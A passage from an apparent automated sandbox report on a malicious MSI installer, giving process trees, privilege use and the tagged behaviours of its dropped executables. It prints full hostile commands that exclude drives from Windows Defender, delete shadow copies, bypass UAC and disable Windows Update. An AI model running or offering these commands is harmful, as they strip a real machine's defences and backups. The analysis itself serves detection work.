860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe
4904	O8kDNC.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	788	msiexec.exe
Token: SeIncreaseQuotaPrivilege	788	msiexec.exe
Token: SeSecurityPrivilege	1480	msiexec.exe
Token: SeCreateTokenPrivilege	788	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	788	msiexec.exe
Token: SeLockMemoryPrivilege	788	msiexec.exe
Token: SeIncreaseQuotaPrivilege	788	msiexec.exe
Token: SeMachineAccountPrivilege	788	msiexec.exe
Token: SeTcbPrivilege	788	msiexec.exe
Token: SeSecurityPrivilege	788	msiexec.exe
Token: SeTakeOwnershipPrivilege	788	msiexec.exe
Token: SeLoadDriverPrivilege	788	msiexec.exe
Token: SeSystemProfilePrivilege	788	msiexec.exe
Token: SeSystemtimePrivilege	788	msiexec.exe
Token: SeProfSingleProcessPrivilege	788	msiexec.exe
Token: SeIncBasePriorityPrivilege	788	msiexec.exe
Token: SeCreatePagefilePrivilege	788	msiexec.exe
Token: SeCreatePermanentPrivilege	788	msiexec.exe
Token: SeBackupPrivilege	788	msiexec.exe
Token: SeRestorePrivilege	788	msiexec.exe
Token: SeShutdownPrivilege	788	msiexec.exe
Token: SeDebugPrivilege	788	msiexec.exe
Token: SeAuditPrivilege	788	msiexec.exe
Token: SeSystemEnvironmentPrivilege	788	msiexec.exe
Token: SeChangeNotifyPrivilege	788	msiexec.exe
Token: SeRemoteShutdownPrivilege	788	msiexec.exe
Token: SeUndockPrivilege	788	msiexec.exe
Token: SeSyncAgentPrivilege	788	msiexec.exe
Token: SeEnableDelegationPrivilege	788	msiexec.exe
Token: SeManageVolumePrivilege	788	msiexec.exe
Token: SeImpersonatePrivilege	788	msiexec.exe
Token: SeCreateGlobalPrivilege	788	msiexec.exe
Token: SeBackupPrivilege	4152	vssvc.exe
Token: SeRestorePrivilege	4152	vssvc.exe
Token: SeAuditPrivilege	4152	vssvc.exe
Token: SeBackupPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeBackupPrivilege	3644	srtasks.exe
Token: SeRestorePrivilege	3644	srtasks.exe
Token: SeSecurityPrivilege	3644	srtasks.exe
Token: SeTakeOwnershipPrivilege	3644	srtasks.exe
Token: SeBackupPrivilege	3644	srtasks.exe
Token: SeRestorePrivilege	3644	srtasks.exe
Token: SeSecurityPrivilege	3644	srtasks.exe
Token: SeTakeOwnershipPrivilege	3644	srtasks.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe
Token: SeTakeOwnershipPrivilege	1480	msiexec.exe
Token: SeRestorePrivilege	1480	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
788	msiexec.exe
788	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
788	msiexec.exe
1480	msiexec.exe
860	MsiExec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 3644	1480	msiexec.exe	94
PID 1480 wrote to memory of 860	1480	msiexec.exe	96
PID 4904 wrote to memory of 3044	4904	O8kDNC.exe	100
PID 4904 wrote to memory of 4268	4904	O8kDNC.exe	102
PID 4268 wrote to memory of 4416	4268	cmd.exe	104
PID 4268 wrote to memory of 6124	4268	cmd.exe	105
PID 4268 wrote to memory of 2332	4268	cmd.exe	107
PID 4904 wrote to memory of 2092	4904	O8kDNC.exe	108
PID 2092 wrote to memory of 5192	2092	cmd.exe	110
PID 2092 wrote to memory of 1728	2092	cmd.exe	112
PID 2092 wrote to memory of 6008	2092	cmd.exe	115
PID 4904 wrote to memory of 2396	4904	O8kDNC.exe	116
PID 2396 wrote to memory of 5008	2396	cmd.exe	118
PID 2396 wrote to memory of 4740	2396	cmd.exe	119
PID 2396 wrote to memory of 1368	2396	cmd.exe	121
PID 4904 wrote to memory of 1968	4904	O8kDNC.exe	125
PID 1968 wrote to memory of 5692	1968	cmd.exe	127
PID 1968 wrote to memory of 5924	1968	cmd.exe	128
PID 1968 wrote to memory of 5164	1968	cmd.exe	130
PID 1720 wrote to memory of 1972	1720	cmd.exe	132
PID 4904 wrote to memory of 5600	4904	O8kDNC.exe	133
PID 5600 wrote to memory of 4264	5600	cmd.exe	135
PID 5600 wrote to memory of 1848	5600	cmd.exe	136
PID 5600 wrote to memory of 5068	5600	cmd.exe	139
PID 4732 wrote to memory of 5824	4732	cmd.exe	140
PID 3052 wrote to memory of 5932	3052	cmd.exe	141
PID 4972 wrote to memory of 4860	4972	cmd.exe	143
PID 4880 wrote to memory of 5408	4880	cmd.exe	144
PID 4904 wrote to memory of 2268	4904	O8kDNC.exe	145
PID 2268 wrote to memory of 716	2268	UpaYo8.exe	148
PID 2268 wrote to memory of 5412	2268	UpaYo8.exe	151
PID 2268 wrote to memory of 4648	2268	UpaYo8.exe	153
PID 2268 wrote to memory of 1260	2268	UpaYo8.exe	155
PID 2268 wrote to memory of 1700	2268	UpaYo8.exe	157
PID 5412 wrote to memory of 4844	5412	cmd.exe	159
PID 2268 wrote to memory of 3800	2268	UpaYo8.exe	160
PID 2268 wrote to memory of 4244	2268	UpaYo8.exe	162
PID 2268 wrote to memory of 1280	2268	UpaYo8.exe	163
PID 2268 wrote to memory of 4128	2268	UpaYo8.exe	164
PID 1280 wrote to memory of 2648	1280	cmd.exe	168
PID 2268 wrote to memory of 252	2268	UpaYo8.exe	169
PID 252 wrote to memory of 3504	252	cmd.exe	171
PID 2268 wrote to memory of 6040	2268	UpaYo8.exe	172
PID 6040 wrote to memory of 5712	6040	cmd.exe	174
PID 2268 wrote to memory of 2432	2268	UpaYo8.exe	175
PID 2432 wrote to memory of 348	2432	cmd.exe	177
PID 2268 wrote to memory of 236	2268	UpaYo8.exe	178
PID 236 wrote to memory of 5664	236	cmd.exe	180
PID 2268 wrote to memory of 5784	2268	UpaYo8.exe	181
PID 5784 wrote to memory of 6108	5784	cmd.exe	183
PID 4244 wrote to memory of 4640	4244	cmd.exe	184
PID 4128 wrote to memory of 4928	4128	cmd.exe	185
PID 4640 wrote to memory of 4312	4640	net.exe	186
PID 2268 wrote to memory of 5132	2268	UpaYo8.exe	187
PID 2268 wrote to memory of 4556	2268	UpaYo8.exe	189
PID 4244 wrote to memory of 1884	4244	cmd.exe	191
PID 4128 wrote to memory of 1252	4128	cmd.exe	192
PID 5132 wrote to memory of 1212	5132	cmd.exe	194
PID 4244 wrote to memory of 5912	4244	cmd.exe	195
PID 4556 wrote to memory of 2236	4556	cmd.exe	196
PID 4128 wrote to memory of 4668	4128	cmd.exe	197
PID 4244 wrote to memory of 4336	4244	cmd.exe	198
PID 4336 wrote to memory of 4372	4336	net.exe	200
PID 2268 wrote to memory of 3900	2268	UpaYo8.exe	199

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	UpaYo8.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n003.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:788

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 5DB08FB423E64F658E60297FFB09E41B E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:860

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4152

C:\Users\Public\RgBEtf\O8kDNC.exe
"C:\Users\Public\RgBEtf\O8kDNC.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\RgBEtf\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\RgBEtf\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6124
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1728
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5068
- C:\Program Files (x86)\UpaYo8\UpaYo8.exe
  "C:\Program Files (x86)\UpaYo8\UpaYo8.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2268
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:716
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5412
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4844
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4648
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1260
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1700
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4244
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4640
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4312
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1884
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5912
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4336
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4372
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5040
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3316
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2480
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3064
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2636
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1872
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:704
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:1600
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4728
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4272
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2832
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2532
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6008
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1628
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1436
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5068
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3364
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1192
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3124
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:4912
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:2564
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1280
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2648
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\UpaYo8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\UpaYo8\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4928
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1252
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4668
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:252
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3504
- - C:\Windows\SysWOW64\cmd.exe
